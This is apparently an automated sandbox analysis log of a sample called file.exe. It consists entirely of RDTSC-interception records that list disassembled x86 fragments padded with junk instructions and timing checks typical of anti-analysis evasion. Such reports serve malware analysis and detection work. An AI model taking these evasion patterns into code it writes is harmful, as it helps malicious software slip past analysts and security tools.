Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF113 second address: 7BF172 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F72A0D3A7F8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D3BC0h] 0x00000028 push 00000000h 0x0000002a add dword ptr [ebp+122D1B8Ah], edx 0x00000030 mov si, 6D2Ah 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F72A0D3A7F8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 xchg eax, ebx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF172 second address: 7BF180 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF180 second address: 7BF184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFB3D second address: 7BFB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A05280F5h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F72A05280F9h 0x00000011 jng 00007F72A05280E8h 0x00000017 popad 0x00000018 nop 0x00000019 movzx esi, bx 0x0000001c push 00000000h 0x0000001e js 00007F72A05280ECh 0x00000024 push 00000000h 0x00000026 mov edi, dword ptr [ebp+122D38B2h] 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFB9B second address: 7BFBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E00 second address: 7C0E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E04 second address: 7C0E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1B35 second address: 7C1B66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push edi 0x0000000d pop esi 0x0000000e push 00000000h 0x00000010 mov di, dx 0x00000013 push 00000000h 0x00000015 je 00007F72A05280ECh 0x0000001b mov dword ptr [ebp+122D30DDh], ecx 0x00000021 push eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C186A second address: 7C1883 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A805h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1883 second address: 7C188D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F72A05280E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C188D second address: 7C1891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2DA2 second address: 7C2DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2DA6 second address: 7C2DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5D78 second address: 7C5D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5E90 second address: 7C5E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7D42 second address: 7C7D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7D46 second address: 7C7D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7D4C second address: 7C7DBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F72A05280EAh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F72A05280E8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov ebx, dword ptr [ebp+122D328Dh] 0x00000030 push dword ptr fs:[00000000h] 0x00000037 and di, 05EBh 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov ebx, edi 0x00000045 mov eax, dword ptr [ebp+122D0D1Dh] 0x0000004b push FFFFFFFFh 0x0000004d sub dword ptr [ebp+122D350Ch], eax 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push esi 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7DBA second address: 7C7DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7DBF second address: 7C7DC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8CC1 second address: 7C8CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8CC5 second address: 7C8CCF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8CCF second address: 7C8CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72A0D3A7FAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8CDE second address: 7C8D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 or dword ptr [ebp+122D3827h], ecx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov ebx, 69885155h 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov eax, dword ptr [ebp+122D0315h] 0x00000027 call 00007F72A05280F7h 0x0000002c ja 00007F72A05280EBh 0x00000032 pop edi 0x00000033 push FFFFFFFFh 0x00000035 mov bx, 0000h 0x00000039 nop 0x0000003a pushad 0x0000003b jns 00007F72A05280ECh 0x00000041 jns 00007F72A05280E8h 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a pushad 0x0000004b push edi 0x0000004c pop edi 0x0000004d push esi 0x0000004e pop esi 0x0000004f popad 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBBA0 second address: 7CBC2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A805h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F72A0D3A7FCh 0x0000000f jp 00007F72A0D3A7F6h 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F72A0D3A7F8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov bx, si 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F72A0D3A7F8h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 movzx edi, bx 0x00000055 mov ebx, dword ptr [ebp+122D3466h] 0x0000005b push 00000000h 0x0000005d movsx ebx, bx 0x00000060 push eax 0x00000061 jng 00007F72A0D3A800h 0x00000067 pushad 0x00000068 push ecx 0x00000069 pop ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAD18 second address: 7CAD2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C5DC second address: 76C5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE1C4 second address: 7CE1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F72A05280E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF17B second address: 7CF202 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F72A0D3A802h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F72A0D3A805h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F72A0D3A7F8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov ebx, eax 0x0000002d push 00000000h 0x0000002f mov bx, 72A7h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F72A0D3A7F8h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F72A0D3A800h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF202 second address: 7CF208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1197 second address: 7D119D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D22E1 second address: 7D234F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F72A05280E6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ebx, dword ptr [ebp+122D34EDh] 0x00000013 or edi, 39CE444Ch 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F72A05280E8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 mov al, ch 0x0000003a call 00007F72A05280EDh 0x0000003f mov edi, dword ptr [ebp+122D29F8h] 0x00000045 pop edi 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F72A05280F8h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D234F second address: 7D2359 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F72A0D3A7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2359 second address: 7D235F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6235 second address: 7D623B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D623B second address: 7D623F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D623F second address: 7D6264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F72A0D3A802h 0x00000011 jl 00007F72A0D3A7F6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6264 second address: 7D62EA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F72A05280E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F72A05280E8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 jmp 00007F72A05280EDh 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+122D2935h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F72A05280E8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e or di, CD93h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F72A05280F1h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D62EA second address: 7D62F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D62F0 second address: 7D62F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDB57 second address: 7DDB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDB5B second address: 7DDB5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDC98 second address: 7DDCB9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F72A0D3A7F6h 0x00000008 jmp 00007F72A0D3A803h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDDFD second address: 7DDE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDFA2 second address: 7DDFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E37A3 second address: 7E37AD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E37AD second address: 7E37B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E37B3 second address: 7E37B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E37B7 second address: 7E37E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F72A0D3A806h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnl 00007F72A0D3A7F6h 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E37E6 second address: 7E3810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c push edi 0x0000000d jmp 00007F72A05280EEh 0x00000012 pop edi 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push ecx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38B7 second address: 7E38F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72A0D3A7FCh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jnp 00007F72A0D3A7F6h 0x00000018 popad 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e js 00007F72A0D3A7FEh 0x00000024 push edx 0x00000025 js 00007F72A0D3A7F6h 0x0000002b pop edx 0x0000002c mov eax, dword ptr [eax] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38F1 second address: 7E3920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F72A05280EBh 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3920 second address: 7E3925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E998F second address: 7E9995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9995 second address: 7E99A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F72A0D3A7F6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E99A6 second address: 7E99AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9AD9 second address: 7E9ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9ADD second address: 7E9AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9AE1 second address: 7E9AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9AEE second address: 7E9B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F72A05280E6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F72A05280F3h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C6B second address: 7E9C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A806h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F72A0D3A7FAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C91 second address: 7E9C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C95 second address: 7E9CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F72A0D3A7F6h 0x0000000e jmp 00007F72A0D3A7FCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA0FE second address: 7EA120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F72A05280F7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA120 second address: 7EA154 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 je 00007F72A0D3A7F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jnp 00007F72A0D3A7F6h 0x00000016 jnp 00007F72A0D3A7F6h 0x0000001c pop eax 0x0000001d jl 00007F72A0D3A807h 0x00000023 jmp 00007F72A0D3A801h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA29D second address: 7EA2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F72A05280E6h 0x0000000a jmp 00007F72A05280F5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA2BC second address: 7EA2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA3F5 second address: 7EA404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F72A05280EAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA404 second address: 7EA40E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F72A0D3A7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3D28 second address: 7C3D7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3C30804Ch 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F72A05280E8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a add dword ptr [ebp+122D3723h], edx 0x00000030 call 00007F72A05280E9h 0x00000035 pushad 0x00000036 pushad 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3D7B second address: 7C3DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F72A0D3A7F8h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007F72A0D3A7F8h 0x00000014 push edx 0x00000015 pop edx 0x00000016 jnl 00007F72A0D3A80Eh 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 jmp 00007F72A0D3A807h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3DD3 second address: 7C3E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c ja 00007F72A05280F9h 0x00000012 jmp 00007F72A05280EAh 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3E12 second address: 7C3E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3E16 second address: 7C3E1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3ECD second address: 7C3ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
